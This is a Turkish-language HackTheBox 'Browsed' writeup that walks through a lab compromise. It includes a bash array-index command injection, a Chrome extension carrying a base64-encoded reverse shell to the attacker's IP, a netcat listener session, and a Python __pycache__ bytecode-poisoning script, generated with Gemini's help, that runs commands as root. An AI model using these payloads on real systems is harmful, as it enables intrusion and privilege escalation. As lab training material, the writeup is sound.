6 dakika
Browsed - HackTheBox
Makine Bilgisi #
- Zorluk: Medium
- OS: Linux
- Link: Browsed

Özet #
Sunucu sistem üzerinde google chrome extension test etmemize imkan vermektedir. Kullanıcıdan alınan extension yeteri kadar izole edilmemiştir. Sistemde internal kullanım için bir web sitesi bulunmaktadır. Bu internal site içerisinde bir bash script’i kullanıcı parametresi ile çalıştırılarak sistem üzerinde kod yürütülmüştür.
Nmap #
Nmap çıktısında 80 ve 22 portları bulunmaktadır. 80 portundaki web servisinin bizi yönlendirdiği domain’i kaydederek sisteme giriş yapıyoruz.
┌─[xenon@sensei]─[~/ctf/browsed]
└──╼ $cat nmap/browsed.nmap
# Nmap 7.94SVN scan initiated Fri Feb 13 20:36:18 2026 as: nmap -sC -sV -vv -oA nmap/browsed 10.129.244.79
Nmap scan report for 10.129.244.79
Host is up, received reset ttl 63 (0.017s latency).
Scanned at 2026-02-13 20:36:18 +03 for 8s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJW1WZr+zu8O38glENl+84Zw9+Dw/pm4IxFauRRJ+eAFkuODRBg+5J92dT0p/BZLMz1wZMjd6BLjAkB1LHDAjqQ=
| 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICE6UoMGXZk41AvU+J2++RYnxElAD3KNSjatTdCeEa1R
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 13 20:36:26 2026 -- 1 IP address (1 host up) scanned in 7.73 seconds
WWW #
Girdiğimiz web sitesi içerisinde bize chrome extension upload edebileceğimi söylüyor. Sitede aynı zamanda örnek 3 adet extension bulunmaktadır.
Örnek extensionlardan birini alıp direkt sisteme yüklüyorum.
Geri dönen output’u incelediğimde bir adet internal domain buluyorum: browsedinternals.htb.
Çıktıyı incelediğimde izolasyonun olmadığını da görebiliyorum, bu ortamı oluşturmak için chrome’nin bir development sürümünü
indirerek göndereceğim payload’ı deneme imkanı elde ediyorum.
MarkdownPreview #
Bu noktada elde ettiğim diğer domain olan browsedinternals.htb adresine gidiyorum. Bu adreste bir gitea sunucusunun bulunduğunu görüyorum.
Sistemde aynı zamanda bir de MarkdownPreview isimli bir git repo’su bulunmakta.
MarkdownPreview repo’sunu incelediğimde bir flask uygulamasının 5000 portunda ‘127.0.0.1’ adresinde dinlediğini görüyorum, eğer ‘127.0.0.1’ adresinde dinlemiyor olsaydı 5000 portunun açık olup olmadığını kontrol ederek direkt kendi sistemimden erişebilirdim. Bu flask uygulaması sistemde aktif olarak yürütülmektedir, bu bilgi ise içime doğuyor.
MarkdownPreview servisi /routines/<rid> adresinde bir script çalıştırmaktadır. Bu script’in parametresi ise kullanıcıdan alınan url parametresi.
@app.route('/routines/<rid>')
def routines(rid):
# Call the script that manages the routines
# Run bash script with the input as an argument (NO shell)
subprocess.run(["./routines.sh", rid])
return "Routine executed !"
Bu noktada routines.sh script’ine bakıyorum, bu script de git içinde bulunuyor.
if [[ "$1" -eq 0 ]]; then
# Routine 0: Clean temp files
find "$TMP_DIR" -type f -name "*.tmp" -delete
log_action "Routine 0: Temporary files cleaned."
echo "Temporary files cleaned."
script kullanıcıdan aldığı parametreyi [[ ile bazı sayılara eşit olup olmadığını kontrol ediyor.
Burada bir command injection zafiyeti bulunmaktadır. Eğer x[$(id)] girdisini verirsek bash burada x’i bir array olarak düşünmektedir.
Bu arrayın bir indisine erişmeye çalışıyoruz, ancak indisin kendisini direkt vermiyoruz, command substitution yapısını kullanarak çalıştırmak
istediğimiz komutu veriyoruz. Bash indis’i hesaplamak istemektedir ve bunun için verdiğimiz komutu çalıştıracaktır.
┌─[xenon@sensei]─[~/ctf/browsed/markdown]
└──╼ $./routines.sh 'x[$(echo PWNED > pwned.txt)]'
find: ‘/home/larry/markdownPreview/tmp’: No such file or directory
./routines.sh: line 9: /home/larry/markdownPreview/log/routine.log: No such file or directory
Temporary files cleaned.
┌─[xenon@sensei]─[~/ctf/browsed/markdown]
└──╼ $cat pwned.txt
PWNED
Exploit #
Bu noktada sistemin local’de dinlediği markdown servisine erişebilirsem sistem üzerinde kod yürütebileeğimi biliyorum.
local’e erişmek için ise izole olmadan çalışan chrome extension servisini kullanacağız.
XSS to RCE via Browser Extensions
blog’undan örnek alarak basit bir extension yazıyorum. background.js dosyası şu şekildedir:
chrome.runtime.onInstalled.addListener(() => {
const payload = "x[$(echo YmFzaCAtYyAnYmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTQvOTAwMSAwPiYxJyAK|base64 -d|bash)]"
const exploit = payload.replaceAll(' ', '%20').replaceAll('|', '%7C')
const url = "http://127.0.0.1:5000/routines/" + exploit
fetch(url, { mode: "no-cors" });
});
Oluşturduğum payload’u sisteme göndermeden önce listener’imi açıyorum ve bekliyorum.
┌─[xenon@sensei]─[~/ctf/browsed]
└──╼ $nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.1.57 36280
bash: cannot set terminal process group (1407): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~/markdownPreview$ cd
larry@browsed:~$ cat user.txt
8a63ee185a79c44f0033d0e2db58b72a
larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
Bu sayede user.txt‘yi almış oluyorum. Aynı zamanda hemen sudo -l ile sudo yetkisi ile çalıştırabileceğim script’leri kontrol ediyorum ve bir script görüyorum.
Root #
Bu python script’inin çalıştığı dosya konumuna bakıyorum ve __pycache__ klasörünün yazma yetkininin herkese ait olduğunu görüyorum.
Python oluşturduğu bytecode’leri bu klasör içinde tutmaktadır. Bir module yüklenmeden önce o module’nin ismini ve python versiyonunu kullanarak
bir cache dosya ismi üretir. Eğer bu cache dosyası varsa module’nin son değiştirilme tarihine ve cache dosyasının son değiştirilme tarihine bakarak
cache’nin güncel oluğ olmadığınu kontrol eder. Eğer cache dosyası güncel ise bu cache dosyasını kullanır.
Bu özelliği exploit etmesi için Gemini’den bir script yazmasını istedim, yazdığı script’i kullanarak zararlı pycache dosyası ürettim ve root flag’ına ulaştım.
Exploit için kullandığım module ise sudo ile çalıştırma iznim olan script’in import ettiği extension_utils modulesi oldu.
Gemini
To create a successful bytecode injection, your malicious .pyc file must “trick” the Python interpreter into thinking it is the legitimate compiled version of the source file. To do this, your script needs to copy the Magic Number and the Timestamp from the original .pyc file (or the .py source).
larry@browsed:/opt/extensiontool$ python3 ~/exp.py
[+] Malicious pyc created: __pycache__/extension_utils.cpython-312.pyc
[+] Spoofed Timestamp: Sun Mar 23 10:56:19 2025
larry@browsed:/opt/extensiontool$ sudo /opt/extensiontool/extension_tool.py
Traceback (most recent call last):
File "/opt/extensiontool/extension_tool.py", line 5, in <module>
from extension_utils import validate_manifest, clean_temp_files
ImportError: cannot import name 'validate_manifest' from 'extension_utils' (/opt/extensiontool/extension_utils.py)
larry@browsed:/opt/extensiontool$ cat /tmp/root.txt
c28c9c5437410c10c22a270b0decf98f
Kullandığım exploit ise şu şekildedir:
import marshal
import importlib.util
import os
import time
import sys
def create_malicious_pyc(target_py, malicious_code, output_pyc):
# 1. Compile the malicious code to bytecode
bytecode = compile(malicious_code, target_py, 'exec')
# 2. Get the Magic Number for the current Python version
magic_number = importlib.util.MAGIC_NUMBER
# 3. Get the timestamp and size from the original source file
stat = os.stat(target_py)
timestamp = int(stat.st_mtime)
size = stat.st_size & 0xFFFFFFFF
# 4. Construct the .pyc header (Python 3.7+)
# Structure: Magic (4b) | Bit field (4b) | Timestamp (4b) | Size (4b)
header = magic_number + b'\x00\x00\x00\x00' + \
timestamp.to_bytes(4, 'little') + \
size.to_bytes(4, 'little')
# 5. Write the header followed by the marshalled bytecode
with open(output_pyc, 'wb') as f:
f.write(header)
marshal.dump(bytecode, f)
print(f"[+] Malicious pyc created: {output_pyc}")
print(f"[+] Spoofed Timestamp: {time.ctime(timestamp)}")
# --- Configuration ---
target_source = "extension_utils.py" # The file the app normally imports
payload = """
import os
import subprocess
# Your RCE payload here
os.system('cat /root/root.txt > /tmp/root.txt')
"""
output_file = "__pycache__/extension_utils.cpython-312.pyc" # Match target naming convention
create_malicious_pyc(target_source, payload, output_file)
htb browsed ctf writeup command injection machine chrome extension ssrf python pycache bytecode
1067 Kelime
2026-02-18 00:00